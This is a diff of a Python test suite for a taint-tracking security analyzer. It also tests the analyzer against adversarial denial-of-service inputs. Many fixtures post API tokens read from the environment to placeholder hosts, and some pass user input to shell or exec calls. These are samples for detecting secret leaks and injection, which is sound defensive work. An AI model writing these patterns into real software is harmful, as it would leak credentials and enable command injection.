os.getenv("API_TOKEN") + def send(self): + token = self.token + requests.post("https://x.invalid", data=token) # LOCAL + def send_class(self): + requests.post("https://x.invalid", headers={"A": self.TOKEN}) # CLASS + class Child(Client): + def send_child(self): + requests.post("https://x.invalid", data=self.token) # CHILD + """ + ) + parent_reads = _code( + """ + import os, requests + class Base: + def send(self): + requests.post("https://x.invalid", data=self.token) + class Child(Base): + def __init__(self): + self.token = os.getenv("API_TOKEN") + """ + ) + assert _summary(set_in_init) == sorted( + ("TT3", _line(set_in_init, marker)) for marker in ("# LOCAL", "# CLASS", "# CHILD") + ) + # A base never reads a subclass's attributes (no shared hierarchy namespace). + assert _run(parent_reads) == [] + + def test_class_scope_defaults(self) -> None: + code = _code( + """ + import os, requests + class Client: + TOKEN = os.getenv("API_TOKEN") + def send(self, token=TOKEN): + requests.post("https://x.invalid", data=token) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + +class TestNotResolved: + """Calls whose callee is not known from syntax alone bind nothing, as on main. - def test_literal_receivers_never_bind_into_module_methods(self) -> None: + Receiver type inference, the untyped-receiver fallback into every + same-named method, callback rules and ``@property`` reads were dropped: + each produced denial-of-service paths or false positives. Variable names + differ from the callee's parameters, so neither version reports these. + """ + + def test_instance_receivers_do_not_bind(self) -> None: + for setup, call in ( + ("api = Api()", "api.upload(secret)"), + ("pass", "Api().upload(secret)"), + ("api = cast(Api, raw)", "api.upload(secret)"), + ("self.api = Api()", "self.api.upload(secret)"), + ): + code = _code( + f""" + import os, requests + from typing import cast + class Api: + def upload(self, body): + requests.post("https://x.invalid", data=body) + class Runner: + def main(self, raw): + secret = os.getenv("API_TOKEN") + {setup} + {call} + """ + ) + assert _run(code) == [], call + + def test_untyped_receivers_never_fan_out_to_same_named_methods(self) -> None: code = _code( """ import os, requests @@ -1947,152 +1916,79 @@ def get(self, model_id): def banner(): user = os.environ.get("USER", "unknown") return "Running as {}".format(user) - def selected_model(): - options = {} - options.get(os.environ.get("MODEL")) + def selected_model(params): + params.get(os.environ.get("MODEL")) return MODELS.get(os.environ.get("MODEL_SIZE", "small")) """ ) - assert _summary(code) == [] + assert _run(code) == [] - def test_cls_constructor_and_property_reads(self) -> None: - cls_constructor = _code( - """ - import os, requests - class Client: - def __init__(self, token): - self.resp = requests.post("https://auth.invalid", data={"token": token}) # SINK - @classmethod - def from_env(cls): - token = os.environ.get("API_TOKEN") - return cls(token) - """ - ) - on_self = _code( - """ - import os, requests - class Client: - @property - def api_key(self): - api_key = os.environ.get("API_KEY") - return api_key - def call(self): - key = self.api_key - requests.post("https://x.invalid", headers={"X-API-Key": key}) # SINK - """ - ) - on_instance = _code( + def test_callbacks_do_not_bind(self) -> None: + for call in ( + "threading.Thread(target=upload, args=(secret,)).start()", + "executor.submit(upload, secret)", + "setattr(Client, 'token', secret)", + ): + code = _code( + f""" + import os, requests, threading + def upload(body): + requests.post("https://example.invalid", data=body) + class Client: + def __init__(self, url, token=None): + requests.post(url, data=token) + def main(executor): + secret = os.getenv("API_KEY") + {call} + """ + ) + assert _run(code) == [], call + + def test_properties_and_class_name_attributes_are_not_resolved(self) -> None: + code = _code( """ import os, requests class Config: + TOKEN = os.getenv("API_TOKEN") @property - def token(self): - return os.getenv("GITHUB_TOKEN") - cfg = Config() - requests.post("https://x.invalid", data=cfg.token) # SINK + def key(self): + return os.getenv("API_KEY") + def send(self): + requests.post("https://x.invalid", data=self.key) + def send(): + requests.post("https://x.invalid", data=Config.TOKEN) """ ) - for code in (cls_constructor, on_self, on_instance): - assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + assert _run(code) == [] - def test_callbacks_on_attribute_constructor_and_parameter_receivers(self) -> None: - sender = _code( - """ - import os, requests, threading - class Sender: - def send(self, token): - requests.post("https://x.invalid", data=token) # SINK - """ - ) - for setup, target in ( - ("self.sender = Sender()", "self.sender.send"), - ("pass", "Sender().send"), - ("pass", "sender.send"), + def test_class_objects_reached_through_aliases_do_not_bind(self) -> None: + """Only ``ClassName.m(obj, ...)`` binds with the unbound offset; an alias + of the class binds nothing, as on main, so it cannot shift arguments.""" + for call in ( + "B.send(self, os.getenv('USER_NAME'), 'public')", + "self.__class__.send(self, os.getenv('USER_NAME'), 'public')", + "klass.send(self, os.getenv('USER_NAME'), 'public')", + "self.kls.send(self, os.getenv('USER_NAME'), 'public')", ): - code = sender + _code( + code = _code( f""" - class App: + import os, requests + class Base: + def send(self, user, body): + print(user) + requests.post("https://x.invalid", data=body) + B = Base + class Child(Base): def __init__(self): - {setup} - def run(self, sender): - token = os.getenv("GITHUB_TOKEN") - threading.Thread(target={target}, args=(token,)).start() + self.kls = Base + def run(self): + klass = Base + {call} """ ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))], target + assert _run(code) == [], call - -class TestClassHierarchies: - """Attributes and methods are shared along inheritance, not across siblings.""" - - def test_sibling_subclasses_do_not_share_attributes(self) -> None: - code = _code( - """ - import os, requests - class ChatProvider: - def chat(self, messages): - raise NotImplementedError - class NvidiaProvider(ChatProvider): - def __init__(self): - self.headers = {"Authorization": os.environ.get("NVIDIA_API_KEY")} - def chat(self, messages): - return requests.post("https://nvidia.invalid", headers=self.headers) # REAL - class OllamaProvider(ChatProvider): - def __init__(self): - self.headers = {"Content-Type": "application/json"} - def chat(self, messages): - return requests.post("http://localhost:11434", headers=self.headers) - """ - ) - assert _summary(code) == [("TT3", _line(code, "# REAL"))] - - def test_sibling_subclasses_do_not_share_methods(self) -> None: - code = _code( - """ - import os, requests - class Backend: - pass - class CloudBackend(Backend): - def auth_token(self): - return os.environ.get("CLOUD_TOKEN") - class LocalBackend(Backend): - def auth_token(self): - return "anonymous" - def health(self): - return requests.get("http://localhost", params={"u": self.auth_token()}) - """ - ) - assert _summary(code) == [] - - def test_attributes_meet_through_subclasses_and_mixins(self) -> None: - set_in_subclass = _code( - """ - import os, requests - class Base: - def send(self): - requests.post("https://x.invalid", data=self.token) # SINK - class Child(Base): - def __init__(self): - self.token = os.getenv("API_TOKEN") - """ - ) - mixin = _code( - """ - import os, requests - class TokenStore: - def __init__(self): - self.token = os.environ.get("API_KEY") - class SenderMixin: - def send(self, url): - return requests.post(url, headers={"A": self.token}) # SINK - class Client(TokenStore, SenderMixin): - pass - """ - ) - for code in (set_in_subclass, mixin): - assert _summary(code) == [("TT3", _line(code, "# SINK"))], code - - def test_overridden_method_in_subclass_is_reached_from_the_base(self) -> None: + def test_subclass_overrides_are_not_followed_from_the_base(self) -> None: code = _code( """ import os, requests @@ -2100,101 +1996,94 @@ class Base: def token(self): return "public" def send(self): - requests.post("https://x.invalid", data=self.token()) # SINK + requests.post("https://x.invalid", data=self.token()) class Child(Base): def token(self): return os.getenv("API_TOKEN") """ ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))] + assert _run(code) == [] -class TestContextSensitivity: - """One caller's secret must not taint other calls of the same helper.""" +class TestScopes: + """Lambdas and comprehensions are scopes of their own, as in Python 3.""" - def test_helper_result_is_tainted_only_where_the_secret_is_passed(self) -> None: + def test_walrus_inside_a_lambda_does_not_shadow_a_global(self) -> None: code = _code( """ import os, requests - def _headers(token=None): - h = {"Accept": "application/json"} - if token: - h = {"Accept": "application/json", "Authorization": f"Bearer {token}"} - return h - def private_api(): - return requests.get("https://api.invalid/me", headers=_headers(os.environ["T"])) # SINK - def public_status(): - return requests.post("https://status.invalid/ping", headers=_headers()) + TOKEN = os.getenv("API_TOKEN") + def send(): + reset = lambda: (TOKEN := None) + requests.post("https://x.invalid", data=TOKEN) # SINK """ ) assert _summary(code) == [("TT3", _line(code, "# SINK"))] - def test_pure_transform_helper_does_not_leak_between_callers(self) -> None: + def test_walrus_inside_a_comprehension_binds_in_the_function(self) -> None: code = _code( """ - import os, json, requests - def to_json(obj): - return json.dumps(obj, indent=2) - def save_config(): - cfg = {"api_key": os.getenv("API_KEY")} - print(to_json(cfg)) - def report(results): - requests.post("https://telemetry.invalid", data=to_json(results)) + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + [(TOKEN := "public") for _ in range(1)] + requests.post("https://x.invalid", data=TOKEN) """ ) - assert _summary(code) == [] + assert _run(code) == [] - def test_secrets_still_flow_through_helpers_globals_and_attributes(self) -> None: + def test_comprehension_shadowing_keeps_the_outer_name(self) -> None: + for comprehension in ( + "[token for token in ('a', 'b')]", + "{token for token in ('a', 'b')}", + "{token: 1 for token in ('a', 'b')}", + "list(token for token in ('a', 'b'))", + "[t for _ in 'x' for token in 'y']", + ): + code = _code( + f""" + import os, requests + token = os.getenv("API_TOKEN") + def send(): + labels = {comprehension} + requests.post("https://x.invalid", data=token) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], comprehension + + def test_first_iterable_is_read_in_the_enclosing_scope(self) -> None: code = _code( """ import os, requests - CACHE = {} - def remember(value): - global TOKEN - TOKEN = value - class Holder: - def keep(self, value): - self.value = value - def send(self): - requests.post("https://x.invalid", data=self.value) # ATTR - def wrap(value): - return {"v": value} - def main(holder: Holder): - secret = os.getenv("API_KEY") - remember(secret) - Holder().keep(secret) - requests.post("https://x.invalid", json=wrap(secret)) # ARG - def later(): - requests.post("https://x.invalid", data=TOKEN) # GLOBAL + def send(): + token = os.getenv("API_TOKEN") + body = [token for token in token] # ASSIGN + requests.post("https://x.invalid", data=body) """ ) - assert _summary(code) == sorted( - ("TT3", _line(code, marker)) for marker in ("# ATTR", "# ARG", "# GLOBAL") - ) + (finding,) = _flows(code) + assert f"'body' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message - def test_inline_source_through_a_helper_is_reported_once(self) -> None: - network = _code( - """ - import requests - def wrap(text): - return {"q": text} - requests.post("https://api.invalid/search", json=wrap(input("query: "))) - """ - ) - command = _code( + def test_global_declared_in_an_enclosing_function_is_global_in_nested_ones(self) -> None: + code = _code( """ - import os, subprocess - def make_cmd(binary): - return [binary, "--version"] - subprocess.run(make_cmd(os.environ.get("TOOL_BIN"))) + import os, requests + TOKEN = os.getenv("API_TOKEN") + def outer(): + TOKEN = "public" + def middle(): + global TOKEN + def inner(): + requests.post("https://x.invalid", data=TOKEN) # SINK + inner() + middle() """ ) - assert [f.rule_id for f in _run(network)] == ["TT1"] - assert [f.rule_id for f in _run(command)] == ["TT1"] + assert _summary(code) == [("TT3", _line(code, "# SINK"))] -class TestMultipleSources: - """A key keeps one fact per source; the sink reports the most severe rule.""" +class TestSourceRank: + """Each key keeps one source, the most severe; a helper can never downgrade it.""" def test_helper_defined_first_does_not_preempt_the_credential(self) -> None: code = _code( @@ -2227,204 +2116,687 @@ def collect(): assert [f.rule_id for f in _run(code)] == ["TT3"] def test_reassignment_keeps_the_most_severe_source_in_either_order(self) -> None: - for first, second in ( - ('open("notes.txt").read()', 'os.getenv("KEY")'), - ('os.getenv("KEY")', 'open("notes.txt").read()'), + """Each sink gets the most severe source for its kind, in either order.""" + credential, file_read = 'os.getenv("KEY")', 'open("notes.txt").read()' + network, user = 'requests.get("https://x.invalid").text', 'input("cmd")' + for sources, network_rule, exec_rule in ( + ((file_read, credential), "TT3", "TT2"), + ((network, credential), "TT3", "TT5"), + ((user, file_read), "TT4", "TT5"), + ((credential, user), "TT3", "TT5"), ): - code = ( - "import os, requests\n" - f"payload = {first}\n" - f"payload = {second}\n" - "body = payload\n" - 'requests.post("https://x.invalid", data=body)\n' - ) - assert [f.rule_id for f in _run(code)] == ["TT3"], first - + for first, second in (sources, sources[::-1]): + code = ( + "import os, requests\n" + f"payload = {first}\n" + f"payload = {second}\n" + "body = payload\n" + 'requests.post("https://x.invalid", data=body)\n' + "exec(body)\n" + ) + rules = [f.rule_id for f in _run(code)] + assert rules == [network_rule, exec_rule], (first, second) -class TestLambdaAndComprehensionScopes: - """Lambdas and comprehensions are scopes of their own, as in Python 3.""" + def test_a_helper_never_downgrades_execution_or_file_flows(self) -> None: + """A helper's credential cannot hide user input reaching exec (TT5), nor + a helper's network input a file read reaching the network (TT4).""" + execution = _code( + """ + import os, pickle, requests, subprocess + def prefix(): + return os.getenv("SHELL_PREFIX") + def run(): + user = input("cmd> ") + cmd = prefix() + user # CMD + subprocess.run(cmd, shell=True) + blob = requests.get("https://x.invalid/blob").content + data = prefix() + blob # DATA + pickle.loads(data) + """ + ) + upload = _code( + """ + import requests + def nonce(): + return requests.get("https://x.invalid/nonce").text + def run(): + notes = open("notes.txt").read() + body = nonce() + notes # BODY + requests.post("https://x.invalid/upload", data=body) + """ + ) + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(execution)] == [ + ("TT5", "Tainted flow: 'cmd' from input"), + ("TT6", "Tainted flow: 'data' from requests.get"), + ] + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(upload)] == [ + ("TT4", "Tainted flow: 'body' from open"), + ] - def test_walrus_inside_a_lambda_does_not_shadow_a_global(self) -> None: + def test_seeded_assignment_still_reads_a_more_severe_variable(self) -> None: code = _code( """ import os, requests - TOKEN = os.getenv("API_TOKEN") - def send(): - reset = lambda: (TOKEN := None) - requests.post("https://x.invalid", data=TOKEN) # SINK + token = os.getenv("API_KEY") + body = requests.get("https://x.invalid").text + token # BODY + requests.post("https://x.invalid", data=body) """ ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))] + (finding,) = _run(code) + assert finding.rule_id == "TT3" + assert f"'body' from os.getenv (line {_line(code, '# BODY')}," in finding.message - def test_walrus_inside_a_comprehension_binds_in_the_function(self) -> None: + def test_inline_sources_pick_the_most_severe(self) -> None: + """The credential is deeper in the expression than the network source.""" code = _code( """ import os, requests - TOKEN = os.getenv("API_TOKEN") - def send(): - [(TOKEN := "public") for _ in range(1)] - requests.post("https://x.invalid", data=TOKEN) + body = requests.get("https://x.invalid").text + os.getenv("KEY").strip() + requests.post("https://x.invalid", data=body) + exec(body) """ ) - assert _summary(code) == [] + assert [(f.rule_id, f.message.split(" (line")[0]) for f in _run(code)] == [ + ("TT3", "Tainted flow: 'body' from os.getenv"), + ("TT5", "Tainted flow: 'body' from requests.get"), + ] - def test_lambda_assigned_to_a_name_binds_call_arguments(self) -> None: + def test_new_flows_never_reorder_main_flows(self) -> None: + """A helper's equal source arriving first through a return does not win.""" code = _code( """ import os, requests - post_secret = lambda payload: requests.post("https://x.invalid", data=payload) # SINK - def main(): - value = os.getenv("API_TOKEN") - post_secret(value) + def helper(): + inner = os.environ["A"] + return inner + def run(): + outer = os.getenv("B") + mid = outer + value = helper() + mid # VALUE + requests.post("https://x.invalid", data=value) """ ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))] + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'value' from os.getenv (line {_line(code, '# VALUE')}, " + "credential/environment) → requests.post (network output)" + ) - def test_lambda_parameters_are_local(self) -> None: + def test_equal_sources_keep_the_first_one_to_arrive(self) -> None: + """Ties are not reordered by the new flows: main's message is kept.""" code = _code( """ import os, requests - payload = os.getenv("API_TOKEN") - send = lambda payload: requests.post("https://x.invalid", data=payload) - send("public") + def normalize(value): + return value.strip() + def run(): + primary = os.environ["PRIMARY_TOKEN"] + fallback = os.getenv("FALLBACK_TOKEN") + token = normalize(primary) # FIRST + if not token: + token = fallback + requests.post("https://api.invalid/v1", headers={"Authorization": token}) """ ) - assert _summary(code) == [] + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'token' from os.environ (line {_line(code, '# FIRST')}, " + "credential/environment) → requests.post (network output)" + ) - def test_comprehension_targets_are_local(self) -> None: - into_callee = _code( + +class TestMessageCompatibility: + """Messages keep main's wording for every flow main also reports. + + Exact baseline fingerprints and message-glob baseline rules include the + message: the variable read at the sink and the line of the statement that + last tainted it (not the line of the original source call). + """ + + def test_reassignment_chain_cites_the_last_assignment(self) -> None: + code = _code( """ import os, requests - url = os.getenv("WEBHOOK_URL") - def ping(u): - requests.get(u, timeout=5) - def check(urls): - return [ping(url) for url in urls] + secret = os.getenv("API_KEY") + first = secret + second = first + requests.post("https://example.invalid", data=second) """ ) - direct_sink = _code( + (finding,) = _flows(code) + assert finding.message == ( + "Tainted flow: 'second' from os.getenv (line 4, credential/environment) " + "→ requests.post (network output)" + ) + + def test_multiline_assignment_cites_the_assignment_line(self) -> None: + code = _code( """ import os, requests - url = os.getenv("WEBHOOK_URL") - def check(urls): - return [requests.get(url, timeout=5) for url in urls] + payload = { # ASSIGN + "user": "example", + "key": os.getenv("API_KEY"), + } + requests.post("https://example.invalid", json=payload) """ ) - outer_name = _code( + (finding,) = _flows(code) + assert f"'payload' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + + def test_plain_variable_is_cited_before_a_helper_result(self) -> None: + code = _code( """ - import os, requests - token = os.getenv("API_TOKEN") - def send(): - labels = [token for token in ("a", "b")] - requests.post("https://x.invalid", data=token) # SINK + import os, subprocess + def build(args): + return ["ssh", *args] + def host(): + return input("host: ") + args = input("args: ") + subprocess.run(build(args) + [host()]) """ ) - assert _summary(into_callee) == [] - assert _summary(direct_sink) == [] - assert _summary(outer_name) == [("TT3", _line(outer_name, "# SINK"))] + (finding,) = _flows(code, "TT5") + assert finding.message == ( + "Tainted flow: 'args' from input (line 6, user input) → subprocess.run (code execution)" + ) - def test_comprehension_over_tainted_data_taints_its_target(self) -> None: + def test_comprehension_at_the_sink_cites_the_outer_variable(self) -> None: code = _code( """ import os, requests - def send(names): - secrets = [os.getenv(name) for name in names] - for value in [s for s in secrets]: - pass - [requests.post("https://x.invalid", data=s) for s in secrets] # SINK + parts = os.getenv("API_KEY").split(",") + requests.post("https://x.invalid", json=[p for p in parts]) """ ) - assert _summary(code) == [("TT3", _line(code, "# SINK"))] - - -class TestRecallAndPrecisionPaths: - """Each path below is pinned so that removing it fails a test.""" + (finding,) = _flows(code) + assert "'parts' from os.getenv (line 2," in finding.message - def test_recall_paths(self) -> None: - cases = ( - # keyword-only defaults + def test_cross_function_flow_cites_the_binding_call(self) -> None: + code = _code( """ import os, requests - def send(*, value=os.getenv("API_KEY")): - requests.post("https://x.invalid", data=value) # SINK - send() - """, - # Thread kwargs - """ - import os, requests, threading - def upload(body): - requests.post("https://x.invalid", data=body) # SINK + def upload(payload): + requests.post("https://example.invalid", data=payload) def main(): secret = os.getenv("API_KEY") - threading.Thread(target=upload, kwargs={"body": secret}).start() - """, - # class attribute read through the class name - """ - import os, requests - class Config: - TOKEN = os.getenv("API_TOKEN") - def send(): - requests.post("https://x.invalid", data=Config.TOKEN) # SINK - """, - # defaults are evaluated in the defining class body + upload(secret) # CALL """ - import os, requests - class Client: - TOKEN = os.getenv("API_TOKEN") - def send(self, token=TOKEN): - requests.post("https://x.invalid", data=token) # SINK - """, ) - for case in cases: - code = _code(case) - assert _summary(code) == [("TT3", _line(code, "# SINK"))], case + (finding,) = _flows(code) + assert f"'payload' from os.getenv (line {_line(code, '# CALL')}," in finding.message - def test_precision_guards(self) -> None: - cases = ( - # an untyped receiver never reads a same-named module method's return - """ - import os, requests - class Settings: - def get(self, name): - return os.getenv(name) - def fetch(params): - url = params.get("url") - return requests.get(url) - """, - # a library-typed receiver does not bind into a same-named module method - """ - import os, requests - class Api: - def get(self, url): - requests.get(url) - def main(): - token = os.getenv("API_TOKEN") - session = requests.Session() - session.get(token) - """, - # class-body names are not visible to methods - """ + def test_attributes_and_calls_are_named_as_the_sink_spells_them(self) -> None: + receiver = "client" + "_" * 200 + code = _code( + f""" import os, requests - token = "public" class Client: - token = os.getenv("API_TOKEN") + def __init__(self): + self.token = os.getenv("API_TOKEN") def send(self): - requests.post("https://x.invalid", data=token) - """, - # an explicit dunder call on an unknown object binds nowhere + requests.post("https://x.invalid", headers={{"X-Token": self.token}}) + def main(): + {receiver} = Client() + if not {receiver}.token: + raise SystemExit(1) """ - import os, requests - class Auth: - def __init__(self, token): - self.token = token - def make(auth): - auth.__init__(os.getenv("GITHUB_TOKEN")) - class Downloader: - def __init__(self, url): - self.url = url - def fetch(self): - return requests.get(self.url, timeout=10) - """, ) - for case in cases: - assert _summary(_code(case)) == [], case + (finding,) = _flows(code) + assert "'self.token' from os.getenv (line 4," in finding.message + assert receiver not in finding.message + + +# ── Resource bounds ───────────────────────────────────────────────────── + + +def _analyzer_code_objects() -> list: + """Every code object defined in the taint module (functions, methods, nested).""" + found: dict[int, object] = {} + pending: list = [] + for value in vars(behavioral_taint_tracking).values(): + if getattr(value, "__module__", None) != behavioral_taint_tracking.__name__: + continue + if isinstance(value, type): + for attribute in vars(value).values(): + function = getattr(attribute, "__func__", attribute) + if hasattr(function, "__code__"): + pending.append(function.__code__) + elif isinstance(attribute, property) and attribute.fget is not None: + pending.append(attribute.fget.__code__) + elif hasattr(value, "__code__"): + pending.append(value.__code__) + while pending: + code = pending.pop() + if id(code) in found: + continue + found[id(code)] = code + pending.extend(const for const in code.co_consts if hasattr(const, "co_code")) + return list(found.values()) + + +def _operations(code: str) -> int: + """Lines of the taint analyzer executed while analyzing *code*. + + A deterministic work count: unlike wall-clock time it does not depend on + machine load, and unlike ``check_runtime`` calls it also counts loops that + never check the deadline. + """ + monitoring = sys.monitoring + tool = next(candidate for candidate in (3, 4) if monitoring.get_tool(candidate) is None) + count = [0] + + def on_line(code_object: object, line: int) -> None: + count[0] += 1 + + monitoring.use_tool_id(tool, "taint-operation-count") + codes = _analyzer_code_objects() + try: + monitoring.register_callback(tool, monitoring.events.LINE, on_line) + for code_object in codes: + monitoring.set_local_events(tool, code_object, monitoring.events.LINE) + _run(code) + finally: + for code_object in codes: + monitoring.set_local_events(tool, code_object, 0) + monitoring.register_callback(tool, monitoring.events.LINE, None) + monitoring.free_tool_id(tool) + return count[0] + + +_ALL_SOURCES = ( + "os.getenv('a') + os.environ.get('a') + open('f').read() + requests.get('u') " + "+ httpx.post('u') + urllib.request.urlopen('u') + input() + sys.stdin.read()" +) + + +def _class_redefinitions(n: int) -> str: + return "class C:0\n" * n + "C()\n" * n + + +def _typed_redefinitions(n: int) -> str: + return "class C:\n def m(self, x): return x\n" * n + "c = C()\n" + "c.m(1)\n" * n + + +def _nested_constructor_calls(n: int) -> str: + line = "C(" * 40 + "1" + ")" * 40 + "\n" + return "class C:pass\n" * n + "def C(*a):pass\n" + line * (n // 4) + + +def _keyword_fanout(n: int) -> str: + return "def f(**kw):\n pass\nf(" + "".join(f"k{i}=x," for i in range(n)) + ")\n" + + +def _keyword_parameters(n: int) -> str: + params = ",".join(f"p{i}" for i in range(n)) + return f"def f({params}):\n pass\nf(" + "".join(f"p{i}=x," for i in range(n)) + ")\n" + + +def _self_attributes(n: int) -> str: + body = "".join(f" self.a{i} = y\n z = self.a{i}\n" for i in range(n)) + return f"class C:\n def m(self, y):\n{body}" + + +def _nested_closures(n: int) -> str: + lines = [" " * d + f"def f{d}(p{d}):" for d in range(40)] + lines += [" " * 40 + f"v{i} = w + p0" for i in range(n)] + return "\n".join(lines) + "\n" + + +def _callback_arguments(n: int) -> str: + return ( + "import threading\n" + "def f(*a, **kw):\n pass\n" + "threading.Thread(target=f, args=(" + "x," * n + "))\n" + "ex.submit(f, " + "x," * n + ")\n" + "threading.Thread(target=f, kwargs={" + "".join(f"'k{i}': x," for i in range(n)) + "})\n" + ) + + +def _lambda_callee(n: int) -> str: + return ( + "f = lambda *a, **k: a\nf(" + + "x," * n + + ")\nf(" + + "".join(f"k{i}=x," for i in range(n)) + + ")\n" + ) + + +def _same_named_methods(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, **kw):\n return kw\n" for i in range(n)) + return classes + "def run(o, x):\n" + "".join(f" o.m(k{i}=x)\n" for i in range(n)) + + +def _nested_class_constructors(n: int) -> str: + block = "class Outer:\n class C:\n def __init__(self, a): pass\n x = C(1)\n" + return block * n + + +def _nested_class_methods(n: int) -> str: + block = "class Outer:\n class C:\n def m(self, a): pass\n c = C()\n c.m(1)\n" + return block * n + + +def _hierarchy_constructors(n: int) -> str: + return "class B:\n pass\n" + "".join( + f"class D{i}(B):\n class C:\n def __init__(self, a): pass\n x = C(1)\n" for i in range(n) + ) + + +def _variable_of_many_classes(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, x): return x\n" for i in range(n)) + return classes + "".join(f"c = K{i}()\n" for i in range(n)) + "c.m(1)\n" * n + + +def _attribute_of_many_classes(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, x): return x\n" for i in range(n)) + init = "class H:\n def __init__(self):\n" + "".join(f" self.x = K{i}()\n" for i in range(n)) + return classes + init + " def go(self, v):\n" + " self.x.m(v)\n" * n + + +def _function_redefinitions(n: int) -> str: + return "def f(x): return x\n" * n + "f(1)\n" * n + + +def _global_class_redefinitions(n: int) -> str: + defs = "".join( + f"def f{i}():\n global C\n class C:\n def __init__(self, a): pass\n" for i in range(n) + ) + return defs + "C(1)\n" * n + + +def _attribute_callback_candidates(n: int) -> str: + return ( + "".join(f"class C{i}:0\n" for i in range(n)) + + "class H:\n def s(self):\n" + + "".join(f" self.v=C{i}()\n" for i in range(n)) + + " def r(self):\n print(" + + "self.v.m," * n + + ")\n" + ) + + +def _multi_class_loads(n: int) -> str: + return ( + "".join(f"class C{i}:0\n" for i in range(n)) + + "".join(f"x=C{i}()\n" for i in range(n)) + + "y=x.a\n" * n + ) + + +def _every_source_in_many_locals(n: int) -> str: + body = "=".join(f"v{i}" for i in range(50)) + "=p\n" + return f"import os, sys, requests, httpx, urllib.request\ns = {_ALL_SOURCES}\n" + "".join( + f"def f{i}(p):\n p=s\n {body}f{i}(s)\n" for i in range(n) + ) + + +def _wide_assignment_in_nested_functions(n: int) -> str: + depth = 20 + lines = ["import os, sys, requests, httpx, urllib.request\n", f"s = {_ALL_SOURCES}\n"] + lines += [" " * i + f"def f{i}(a{i}):\n" for i in range(depth)] + lines.append(" " * depth + "x=" * n + "+".join(f"a{i}" for i in range(depth)) + "\n") + lines += [" " * i + f"f{i}(a{i - 1})\n" for i in range(depth - 1, 0, -1)] + lines.append("f0(s)\n") + return "".join(lines) + + +def _nested_callback_arguments(n: int) -> str: + return "def f(*a):0\n" + ("print(f," * n + "0" + ")" * n + "\n") * 20 + + +def _nested_in_file_calls(n: int) -> str: + return "def f(a):\n return a\nx = input()\n" + ("f(" * n + "x" + ")" * n + "\n") * 20 + + +def _deep_inheritance(n: int) -> str: + out = [] + for c in range(n): + out.append(f"def g{c}():\n") + for i in range(16): + bases = ",".join(f"K{j}" for j in range(i - 1, -1, -1)) + head = f" class K{i}({bases}):\n" if bases else f" class K{i}:\n" + out.append(head + f" def m{i}(self, a):\n self.m0(a)\n return self.v{i % 4}\n") + return "".join(out) + + +def _deep_scopes(n: int) -> str: + return "z = " + "lambda: " * n + "[" + ",".join(f"n{i}" for i in range(200)) + "]\n" + + +# Every denial-of-service repro from the two reviews of this change, scaled +# down. Each must cost work linear in its size, so quadrupling the size may +# at most about quadruple the analyzer's executed lines (a quadratic path +# grows 16x). +_DOS_SHAPES = { + "same_named_classes": (_class_redefinitions, 100), + "same_named_classes_typed": (_typed_redefinitions, 60), + "nested_constructor_calls": (_nested_constructor_calls, 80), + "keyword_fanout": (_keyword_fanout, 200), + "keyword_parameters": (_keyword_parameters, 150), + "self_attributes": (_self_attributes, 100), + "nested_closures": (_nested_closures, 100), + "callback_arguments": (_callback_arguments, 150), + "lambda_callee": (_lambda_callee, 150), + "same_named_methods": (_same_named_methods, 60), + "nested_class_constructors": (_nested_class_constructors, 60), + "nested_class_methods": (_nested_class_methods, 60), + "hierarchy_constructors": (_hierarchy_constructors, 60), + "variable_of_many_classes": (_variable_of_many_classes, 60), + "attribute_of_many_classes": (_attribute_of_many_classes, 60), + "function_redefinitions": (_function_redefinitions, 100), + "global_class_redefinitions": (_global_class_redefinitions, 60), + "attribute_callback_candidates": (_attribute_callback_candidates, 60), + "multi_class_loads": (_multi_class_loads, 80), + "every_source_in_many_locals": (_every_source_in_many_locals, 10), + "wide_assignment_in_nested_functions": (_wide_assignment_in_nested_functions, 200), + "nested_callback_arguments": (_nested_callback_arguments, 15), + "nested_in_file_calls": (_nested_in_file_calls, 15), + "deep_inheritance": (_deep_inheritance, 3), + "deep_scopes": (_deep_scopes, 20), +} + + +@pytest.mark.skipif(sys.version_info < (3, 12), reason="sys.monitoring needs Python 3.12") +class TestResourceScaling: + """Work grows linearly with file size on every adversarial shape.""" + + @pytest.mark.parametrize("shape", sorted(_DOS_SHAPES)) + def test_work_is_linear(self, shape: str) -> None: + generate, size = _DOS_SHAPES[shape] + small = _operations(generate(size)) + large = _operations(generate(4 * size)) + assert large <= 5 * small, (shape, small, large) + + +class TestAdversarialInputs: + """Memory, output size and deadlines on adversarial inputs.""" + + def test_memory_does_not_grow_with_identifier_length(self) -> None: + """No key or message copies an identifier per reference. + + Taint keys built as ``qualname + name`` copied a long function, class or + method name into every local, attribute and argument slot; messages + built from the first spelling of an attribute copied a long receiver + name into every sink. Memory then grew as name length times references. + """ + + def module(length: int) -> str: + function, cls, method, receiver = "f" * length, "C" * length, "m" * length, "r" * length + lines = [ + "import os, requests", + f"def {function}(*args, **kwargs):", + " return args", + f"{function}(" + "x, " * 2000 + "y=x)", + f"def {function}_locals():", + *(f" v{i} = os.getenv('K')" for i in range(1000)), + f"class {cls}:", + f" def {method}(self, y):", + " self.a1 = os.getenv('K')", + *(f" self.a{i} = y" for i in range(1000)), + " def send(self):", + *(" requests.post('u', data=self.a1)" for _ in range(1000)), + f"{receiver} = {cls}()", + f"{receiver}.a1 = os.getenv('K')", + f"z = {receiver}.a1", + ] + return "\n".join(lines) + "\n" + + def analysis_peak(code: str) -> int: + """Peak memory of the analysis alone, after the source is parsed.""" + parsed = get_python_ast(None, code, "t.py") + tracemalloc.start() + try: + findings = behavioral_taint_tracking._analyze_python(parsed, "t.py") + assert len(findings) == 1000 + return tracemalloc.get_traced_memory()[1] + finally: 